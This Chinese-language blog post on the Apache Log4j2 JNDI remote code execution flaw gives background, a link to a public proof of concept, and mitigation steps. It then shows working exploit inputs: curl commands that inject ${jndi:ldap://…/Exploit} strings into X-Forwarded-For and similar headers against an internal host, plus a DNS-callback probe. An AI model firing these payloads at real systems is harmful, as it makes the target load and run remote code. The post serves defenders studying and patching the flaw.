注意:本文分享给安全从业人员、网站开发人员以及运维人员在日常工作防范恶意攻击,请勿恶意使用下面介绍技术进行非法攻击操作。
[TOC]
0x00 快速介绍
Apache Log4j2 日志记录服务之远程代码执行漏洞实践与防护
背景介绍: Apache Log4j2 是一个开源的Java日志框架,被广泛地应用在中间件、开发框架与Web应用中。 Tips: Log4j2是Log4j的升级版, 对其前身Log4j 1.x进行了重大改进, 并提供了Logback中可用的许多改进,同时修复了Logback架构中的一些固有问题。
Apache 日志记录服务官网: https://logging.apache.org/ Log4j2 项目官网: https://logging.apache.org/log4j/2.x/index.html
漏洞时间: 影响版本: Apache Log4j 2.x <= 2.14.1
POC & Exploit: https://github.com/tangxiaofeng7/apache-log4j-poc
简单分析 审计:
https://bbs.ichunqiu.com/thread-62322-1-1.html
https://mp.weixin.qq.com/s/-_e_Jk_6F5LZ9qOuheTQxA
https://mp.weixin.qq.com/s/15zcLEk6_x2enszhim9afA
修复建议:
安全建议
- 升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
- 升级已知受影响的应用及组件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid
- jvm参数 -Dlog4j2.formatMsgNoLookups=true
- log4j2.formatMsgNoLookups=True
- 系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
- 禁止使用log4j的服务器外连出网
- 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因为高版本jdk默认无法利用jndi注入
${jndi:ldap://10.20.172.103:8088/Exploit}
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Real-IP: ${jndi:ldap://10.20.172.103:8088/Exploit}’
-H ‘X_FORWARDED_FOR: ${jndi:ldap://10.20.172.103:8088/Exploit}’
curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8080/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/Exploit}’curl http://192.168.12.215:32086/kaptcha?_=1639371809353 -H ‘HTTP_X_FORWARDED_FOR:
X-Forwarded-For: {jndi:ldap://10.20.172.103:8088/badClassName}Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}WL-Proxy-Client-IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_CLIENT_IP: {jndi:ldap://10.20.172.103:8088/badClassName}HTTP_X_FORWARDED_FOR:
${jndi:ldap://37bo7s.ceye.io/a}
代码语言:javascript复制String ip="";
String ip1 = request.getHeader("X_FORWARDED_FOR");
String ip2 = request.getHeader("X-Forwarded-For");
String ip3 = request.getHeader("Proxy-Client-IP");
String ip4 = request.getHeader("WL-Proxy-Client-IP");
String ip5 = request.getHeader("HTTP_CLIENT_IP");
String ip6 = request.getHeader("HTTP_X_FORWARDED_FOR");